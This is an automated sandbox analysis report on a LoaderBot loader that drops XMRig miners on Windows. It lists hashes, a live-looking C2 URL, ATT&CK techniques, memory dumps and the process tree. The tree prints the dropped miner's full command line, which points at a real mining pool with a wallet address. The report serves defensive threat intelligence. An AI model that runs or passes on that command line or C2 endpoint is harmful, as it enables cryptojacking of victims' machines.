Overview

overview

10

Static

static

10

328-875-0x...ry.exe

windows7-x64

10

328-875-0x...ry.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    146s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-01-2024 12:57

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General

  • Target

    328-875-0x00000000001C0000-0x0000000000928000-memory.exe

  • Size

    7.4MB

  • MD5

    e85a8a8417f95f0bd3c2f82c6c81ced5

  • SHA1

    8f93ed5fc5df59356ff749fa8d6af76bf95ef5dc

  • SHA256

    f9a988fa961effa94a6369aec4427e07fd0134d28c5161b0499000b0935a87df

  • SHA512

    693856ab5886bb7b4a7fa9ba9ea75b120bc033491197392bd1a2da8a87ab8ac808fa027f140e31203a4c35627ce442849e1fbca4be59de3acbc50ad9f3eb5cfa

  • SSDEEP

    98304:fzP88fBsnZTgOtqB3m1RC3aNcAveccI7cvOeCMeEvirO:rrpkE3aRC3scCQ2eC2

Score
10/10
loaderbotxmrigloaderminerpersistence

Malware Config

Extracted

Family

loaderbot

C2

https://ca94025.tw1.ru/cmd.php

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

    loaderminerloaderbot
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • LoaderBot executable 1 IoCs
  • XMRig Miner payload 16 IoCs
    miner
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\328-875-0x00000000001C0000-0x0000000000928000-memory.exe
    "C:\Users\Admin\AppData\Local\Temp\328-875-0x00000000001C0000-0x0000000000928000-memory.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: RenamesItself
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4220
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 49t6urp39F9WQ7iprgWtoA7Xv6iYT8krNCAqo4qJXsrcP2CwHMcQzEsEZJtJLMsdQwSboNLC6a6AsgbKkrHqj6AGJyssTjJ -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4912
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 49t6urp39F9WQ7iprgWtoA7Xv6iYT8krNCAqo4qJXsrcP2CwHMcQzEsEZJtJLMsdQwSboNLC6a6AsgbKkrHqj6AGJyssTjJ -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3236
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 49t6urp39F9WQ7iprgWtoA7Xv6iYT8krNCAqo4qJXsrcP2CwHMcQzEsEZJtJLMsdQwSboNLC6a6AsgbKkrHqj6AGJyssTjJ -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4168

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Defense Evasion

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

1
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
    Filesize

    3.9MB

    MD5

    02569a7a91a71133d4a1023bf32aa6f4

    SHA1

    0f16bcb3f3f085d3d3be912195558e9f9680d574

    SHA256

    8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

    SHA512

    534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

    Download Submit
  • memory/3236-31-0x0000000140000000-0x0000000140B75000-memory.dmp
    Filesize

    11.5MB

    Download
  • memory/3236-42-0x0000000140000000-0x0000000140B75000-memory.dmp
    Filesize

    11.5MB

    Download
  • memory/3236-50-0x00000000137E0000-0x0000000013800000-memory.dmp
    Filesize

    128KB

    Download
  • memory/3236-32-0x0000000140000000-0x0000000140B75000-memory.dmp
    Filesize

    11.5MB

    Download
  • memory/3236-33-0x0000000002100000-0x0000000002120000-memory.dmp
    Filesize

    128KB

    Download
  • memory/3236-48-0x0000000002100000-0x0000000002120000-memory.dmp
    Filesize

    128KB

    Download
  • memory/3236-47-0x00000000135B0000-0x00000000135D0000-memory.dmp
    Filesize

    128KB

    Download
  • memory/3236-21-0x00000000020E0000-0x0000000002100000-memory.dmp
    Filesize

    128KB

    Download
  • memory/3236-22-0x0000000140000000-0x0000000140B75000-memory.dmp
    Filesize

    11.5MB

    Download
  • memory/3236-23-0x0000000140000000-0x0000000140B75000-memory.dmp
    Filesize

    11.5MB

    Download
  • memory/3236-46-0x0000000140000000-0x0000000140B75000-memory.dmp
    Filesize

    11.5MB

    Download
  • memory/3236-25-0x0000000002100000-0x0000000002120000-memory.dmp
    Filesize

    128KB

    Download
  • memory/3236-26-0x0000000002120000-0x0000000002140000-memory.dmp
    Filesize

    128KB

    Download
  • memory/3236-27-0x00000000135B0000-0x00000000135D0000-memory.dmp
    Filesize

    128KB

    Download
  • memory/3236-45-0x0000000140000000-0x0000000140B75000-memory.dmp
    Filesize

    11.5MB

    Download
  • memory/3236-29-0x00000000137E0000-0x0000000013800000-memory.dmp
    Filesize

    128KB

    Download
  • memory/3236-30-0x0000000140000000-0x0000000140B75000-memory.dmp
    Filesize

    11.5MB

    Download
  • memory/3236-44-0x0000000140000000-0x0000000140B75000-memory.dmp
    Filesize

    11.5MB

    Download
  • memory/3236-43-0x0000000140000000-0x0000000140B75000-memory.dmp
    Filesize

    11.5MB

    Download
  • memory/3236-49-0x0000000002120000-0x0000000002140000-memory.dmp
    Filesize

    128KB

    Download
  • memory/3236-35-0x00000000135B0000-0x00000000135D0000-memory.dmp
    Filesize

    128KB

    Download
  • memory/3236-34-0x0000000002120000-0x0000000002140000-memory.dmp
    Filesize

    128KB

    Download
  • memory/3236-36-0x00000000137E0000-0x0000000013800000-memory.dmp
    Filesize

    128KB

    Download
  • memory/3236-37-0x0000000140000000-0x0000000140B75000-memory.dmp
    Filesize

    11.5MB

    Download
  • memory/3236-38-0x0000000140000000-0x0000000140B75000-memory.dmp
    Filesize

    11.5MB

    Download
  • memory/3236-39-0x0000000140000000-0x0000000140B75000-memory.dmp
    Filesize

    11.5MB

    Download
  • memory/3236-40-0x0000000140000000-0x0000000140B75000-memory.dmp
    Filesize

    11.5MB

    Download
  • memory/3236-41-0x0000000140000000-0x0000000140B75000-memory.dmp
    Filesize

    11.5MB

    Download
  • memory/4220-5-0x0000000005990000-0x00000000059A0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/4220-1-0x0000000000760000-0x0000000000EC8000-memory.dmp
    Filesize

    7.4MB

    Download
  • memory/4220-0-0x00000000752E0000-0x0000000075A90000-memory.dmp
    Filesize

    7.7MB

    Download
  • memory/4220-28-0x0000000005990000-0x00000000059A0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/4220-24-0x00000000752E0000-0x0000000075A90000-memory.dmp
    Filesize

    7.7MB

    Download
  • memory/4220-4-0x0000000005B80000-0x0000000005BE6000-memory.dmp
    Filesize

    408KB

    Download
  • memory/4912-18-0x0000000140000000-0x0000000140B75000-memory.dmp
    Filesize

    11.5MB

    Download
  • memory/4912-17-0x0000000001FC0000-0x0000000001FD4000-memory.dmp
    Filesize

    80KB

    Download
  • memory/4912-15-0x0000000140000000-0x0000000140B75000-memory.dmp
    Filesize

    11.5MB

    Download